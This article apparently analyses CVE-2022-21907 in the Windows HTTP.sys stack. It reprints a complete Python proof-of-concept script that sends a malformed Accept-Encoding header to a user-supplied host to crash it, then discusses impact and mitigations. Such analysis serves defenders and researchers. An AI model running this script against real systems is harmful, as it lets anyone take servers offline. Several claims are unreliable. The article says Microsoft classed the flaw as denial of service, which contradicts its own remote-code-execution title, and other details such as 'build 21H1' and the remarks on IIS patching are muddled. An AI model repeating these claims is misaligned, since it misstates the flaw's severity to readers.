Windows 10 v21H1 - HTTP Protocol Stack Remote Code Execution

CVE-2022-21907: Exploiting the HTTP.sys Stack in Windows 10 v21H1 – A Deep Dive into Remote Code Execution and Denial of Service

On January 14, 2022, cybersecurity researcher nu11secur1ty publicly disclosed a vulnerability in the Windows 10 v21H1 operating system, identified as CVE-2022-21907. The flaw resides within the HTTP.sys protocol stack—a core component responsible for handling HTTP requests in Windows systems. While initially presented as a potential remote code execution (RCE) exploit, subsequent analysis revealed a more nuanced reality: the vulnerability primarily manifests as a denial of service (DoS) condition, with the ability to trigger system crashes through crafted HTTP headers.

Understanding the HTTP.sys Protocol Stack

HTTP.sys is a kernel-mode driver in Windows that manages HTTP traffic, especially for services like Internet Information Services (IIS), Windows Update, and other HTTP-based system components. It operates at a privileged level, making it a high-value target for attackers. Because it handles incoming requests directly in kernel space, any flaw in its parsing logic can lead to critical system instability.

Historically, HTTP.sys has been the source of several high-profile vulnerabilities. For instance, CVE-2021-31166—a buffer overflow issue—was reported in 2021 and persisted across multiple Windows versions, including Windows 10 1909 and 2004. The continuity of such flaws underscores the complexity of kernel-level protocol stack implementation and the challenges in securing low-level network services.

Exploit Analysis: A Closer Look at the PoC

The proof-of-concept (PoC) provided by nu11secur1ty is a Python script that sends a specially crafted HTTP request with an excessively long and malformed Accept-Encoding header. The goal is to overwhelm the HTTP.sys stack with malformed input, leading to a buffer overflow condition.

#!/usr/bin/python
# Author @nu11secur1ty
# CVE-2022-21907

from colorama import init, Fore, Back, Style
init(convert=True)
import requests
import time

print(Fore.RED +"Please input your host...\n")
print(Style.RESET_ALL)

print(Fore.YELLOW)
host = input()
print(Style.RESET_ALL)

print(Fore.BLUE +"Sending of especially malicious crafted packages,
please wait...")
print(Style.RESET_ALL)
time.sleep(17)

print(Fore.GREEN)
# The PoC :)
poc = requests.get(f'http://{host}/', headers = {'Accept-Encoding':
'AAAAAAAAAAAAAAAAAAAAAAAA,\
 BBBBBBcccACCCACACATTATTATAASDFADFAFSDDAHJSKSKKSKKSKJHHSHHHAY&AU&**SISODDJJDJJDJJJDJJSU**S,\
 RRARRARYYYATTATTTTATTATTATSHHSGGUGFURYTIUHSLKJLKJMNLSJLJLJSLJJLJLKJHJVHGF,\
 TTYCTCTTTCGFDSGAHDTUYGKJHJLKJHGFUTYREYUTIYOUPIOOLPLMKNLIJOPKOLPKOPJLKOP,\
 OOOAOAOOOAOOAOOOAOOOAOOOAOO,\
 ****************************stupiD, *, ,',})
# Not necessary :)
print(poc,"\n")
print(Style.RESET_ALL)

Explanation: This script uses the requests library to send a GET request to a target host. The key component is the Accept-Encoding header, which contains a deliberately malformed string composed of repeated characters, special symbols, and random sequences. The purpose is to trigger a buffer overflow in the HTTP.sys driver during header parsing.

When HTTP.sys processes the Accept-Encoding header, it attempts to parse and store the value in a fixed-size buffer. If the input exceeds the buffer's capacity, a stack-based overflow may occur, potentially leading to kernel corruption, system crash, or even privilege escalation—though the latter was not confirmed in this case.

Reproducibility and Real-World Impact

The vulnerability was reported to affect Windows 10 version 21H1 (build 21H1, released in 2021), but the researcher noted that systems were patched when IIS was installed. This suggests that the vulnerability is not active by default on unconfigured systems. However, the presence of IIS or other HTTP-based services exposes the system to risk.

According to Microsoft’s official update guide, CVE-2022-21907 was classified as a Denial of Service vulnerability, not a remote code execution. This aligns with the observed behavior: the exploit causes the system to crash or restart, but does not result in arbitrary code execution.

Furthermore, the researcher confirmed that the same issue existed in earlier versions like Windows 10 2004, which had been previously affected by CVE-2021-31166. This indicates a persistent design flaw in HTTP.sys parsing logic that remains unresolved despite patching efforts.

Security Implications and Mitigation

While the exploit does not enable full remote code execution, it still poses significant risks:

• Service Disruption: An attacker can repeatedly trigger crashes, leading to denial of service on critical systems like web servers, update services, or internal APIs.
• System Instability: Repeated crashes can cause data loss, corruption, or extended downtime in enterprise environments.
• Attack Surface Expansion: Any system exposed to HTTP traffic—especially via public-facing services—becomes vulnerable to this type of abuse.

Microsoft addressed the issue through regular security updates. Users should ensure their systems are updated with the latest patches from the Windows Update channel. The vulnerability was resolved in subsequent patches, making it non-exploitable on fully patched systems.

Expert Recommendations

For security professionals and system administrators:

Recommendation	Reason
Disable IIS unless required	Minimizes exposure to HTTP.sys vulnerabilities.
Apply all security updates promptly	Prevents exploitation of known flaws like CVE-2022-21907.
Monitor system logs for unexpected reboots	Can indicate abuse of HTTP.sys vulnerabilities.
Implement network-level filtering	Block malformed HTTP headers at the firewall or proxy level.

Conclusion: A Cautionary Tale of Kernel-Level Vulnerabilities

CVE-2022-21907 serves as a reminder that even seemingly minor protocol stack flaws can have major consequences. While the exploit did not achieve remote code execution as initially claimed, it demonstrated the danger of unvalidated input in kernel-mode components. The persistence of similar issues across multiple versions highlights the importance of rigorous code review, automated fuzzing, and continuous patching in modern operating systems.

As cyber threats evolve, defenders must remain vigilant—not just against RCE, but against DoS attacks that destabilize systems and disrupt operations. The HTTP.sys stack remains a critical area of focus, and ongoing research into its security is essential for maintaining the integrity of Windows-based infrastructure.